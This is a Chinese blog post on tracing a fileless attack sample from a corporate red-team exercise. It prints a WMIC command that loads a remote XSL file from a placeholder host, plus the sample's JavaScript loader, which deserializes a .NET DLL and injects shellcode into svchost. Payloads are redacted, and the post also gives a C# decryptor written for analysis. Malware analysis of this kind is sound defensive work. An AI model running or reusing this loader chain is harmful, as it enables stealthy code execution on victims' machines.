一次红蓝对抗无文件攻击溯源

0)简述

前段时间参加公司举办的红蓝对抗演习,帮助蓝军分析并溯源样本。

拿到样本时,就一个xsl类型的文件,和一个用来执行该样本的命令行,如下所示:

C:/Windows/SysWOW64/wbem/WMIC.exe os get /format:"//ip/scripts/1.xsl"

可以看出,是通过白利用技术,通过wmic来执行的这个恶意的xsl文件,想了解更多,可以参考这篇文章《wmic调用xsl文件的分析与利用

1)xsl文件分析

XSL文件是一种可扩展样式语言,维基百科的解释,可以通过内置标签来解析执行其他脚本语言,如:Javascript,VBscript等。

通过分析发现,该xsl中内嵌的远不止JS脚本这么简单!内嵌的js脚本会修改当前进程的shell环境为.net的环境,然后通过解密base64硬编码的PE文件,该文件是由C#编写的DLL文件。

然后以.NET的shell环境来调用.net的函数,并把硬编码的dll文件字节码反序列化成C#类对象,调用该类对象中的名为:call的函数

通过js调用.net函数,参考: https://github.com/tyranid/DotNetToJScript

修改Shell环境为.NET:

function autoversion()
    {
        var shell = new ActiveXObject('WScript.Shell');
        ver = 'v4.0.30319';
        try {
        shell.RegRead('HKLM\\SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\');
        } catch(e) {
        ver = 'v2.0.50727';
        }
        shell.Environment('Process')('COMPLUS_Version') = ver;
    }

调用.net类对象的call函数,可以看到call函数传入一个系统进程名字,svchost.exe,另一个是base64硬编码的一段加密的code

run函数:

function run()
    {
        var serialized_obj = 'base64硬编码的C# DLL文件';
        var cryptedcode = 'Base64加密的shellcode';
        var entry_class = 'test';
 
        try
        {
            autoversion();
            var stm = base64ToStream(serialized_obj);
            var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
            var al = new ActiveXObject('System.Collections.ArrayList');
            var d = fmt.Deserialize_2(stm);
            al.Add(fmt.SurrogateSelector);
            var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
            o.call('svchost.exe', cryptedcode);
        }
        catch (e)
        {
        }
 
        return 0;
    }

serialized_obj变量中保存的是base64硬编码的dll文件,首先通过Chrome浏览器自带的调试器,还原出完整的base64加密字符串,点击右下角的copy

在这里插入图片描述

然后使用010Editor自带的base64decode脚本解密该密文
在这里插入图片描述
解密base64后,切换个hex模式,往下拉动滚动条,可以看到文件的MZ头,删除前面的垃圾内容,保留从MZ头到末尾即可还原出DLL文件

在这里插入图片描述
可以看到是.net2.0库写的dll
在这里插入图片描述
2)C# DLL文件分析

使用ILSpy工具反编译刚才dump出来的C# DLL文件,可以看到内部有个test类,类中果然有个call的方法
在这里插入图片描述
call(svchost,base64密文),Call方法中调用 DESEncrypt.Decrypt(b64code, test.key);方法,解密base64密文,然后使用硬编码的DES KEY:***ATeam 解密shellcode
在这里插入图片描述
最后调用CodeLoader.CreateProcessWithCode(path, code); 通过分析CreateProcessWithCode函数,发现是通过创建傀儡进程的方式注入shellcode并运行的,了解更多,请参考《傀儡进程的创建于检测
在这里插入图片描述

3)shellcode分析

通过上面的分析,可以写一个C#程序,把注入到进程中的shellcode dump出来

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
 
namespace test
{
    class Program
    {
        static string key = "xxx";
        static string cryptedcode = "base64->des加密的shellcode";
 
        public static byte[] Decrypt(string pToDecrypt, string sKey)
        {
            DESCryptoServiceProvider dESCryptoServiceProvider = new DESCryptoServiceProvider();
            byte[] array = Convert.FromBase64String(pToDecrypt);
            dESCryptoServiceProvider.Key = Encoding.ASCII.GetBytes(sKey);
            dESCryptoServiceProvider.IV = Encoding.ASCII.GetBytes(sKey);
            MemoryStream memoryStream = new MemoryStream();
            CryptoStream cryptoStream = new CryptoStream(memoryStream, dESCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write);
            cryptoStream.Write(array, 0, array.Length);
            cryptoStream.FlushFinalBlock();
            return memoryStream.ToArray();
        }
 
        static void Main(string[] args)
        {
 
           byte[] code =  Decrypt(cryptedcode, key);
           string filePath = Directory.GetCurrentDirectory() + "\\123.txt";
           if (File.Exists(filePath))
               File.Delete(filePath);
 
           FileStream fs = new FileStream(filePath, FileMode.Create);
           fs.Write(code, 0, code.Length);
           fs.Flush();
           fs.Close();
 
             
           int n = 123;
        }
    }
}

分析shellcode后,发现是个loader程序,对应的C2地址,由于这边IP访问限制,访问不了总部那边的网络

在这里插入图片描述

  • 0
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
很抱歉,我只是一个语言模型AI,无法提供图像输出。但可以为您提供思路指导: 一、攻击溯源的原则及概念 1.攻击溯源的主要原则是收集、分析、整合、推测和验证相关信息,以确定攻击来源、方式、目的和影响。 2.攻击溯源的概念是指在网络和信息安全领域中,通过收集、分析和处理有关攻击事件所产生的数据和信息,追溯和确认攻击事件的信息源头、评估其操作行为和目的,进而确定合理的防御和安全策略。 二、攻击溯源的基本步骤 1.数据收集:通过网络设备、日志收集工具或其他渠道获取与攻击事件相关的数据和信息,包括攻击方式、来源、时间、目标等。 2.数据清理:对收集到的数据进行清洗、筛选,剔除噪音数据和不必要的信息,保留有价值的信息。 3.数据分析:对清洗过的数据进行深入分析,从中提取关键信息并进行归纳、总结、分类和梳理。 4.数据推测:利用数据和信息推测攻击者的意图和行为模式,探测攻击行为的特征、规律和趋势。 5.数据验证:通过比对、回溯、模拟等手段进行数据和信息的验证,保证分析得到的结论和推论是正确合理的。 三、攻击溯源的关键技能和方法 1.网络安全基础知识:掌握网络和信息安全基本理论、技术和方法,了解攻击方式和攻击手段,具有较强的技术储备和安全观念。 2.数据采集和分析技能:熟练掌握网络安全日志分析工具、数据挖掘工具、分析工具等,具备数据采集、处理、分析和挖掘的能力。 3.攻击溯源方法:根据攻击事件的特征和情况,灵活运用防御和溯源技术,包括主机取证、网络取证、行为分析、威胁情报、漏洞挖掘等。 4.交叉学科技能:攻击溯源涉及到多个领域的知识,如计算机科学、网络工程、数据科学、犯罪心理学等,需要具备跨领域交叉学科知识的掌握和应用能力。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值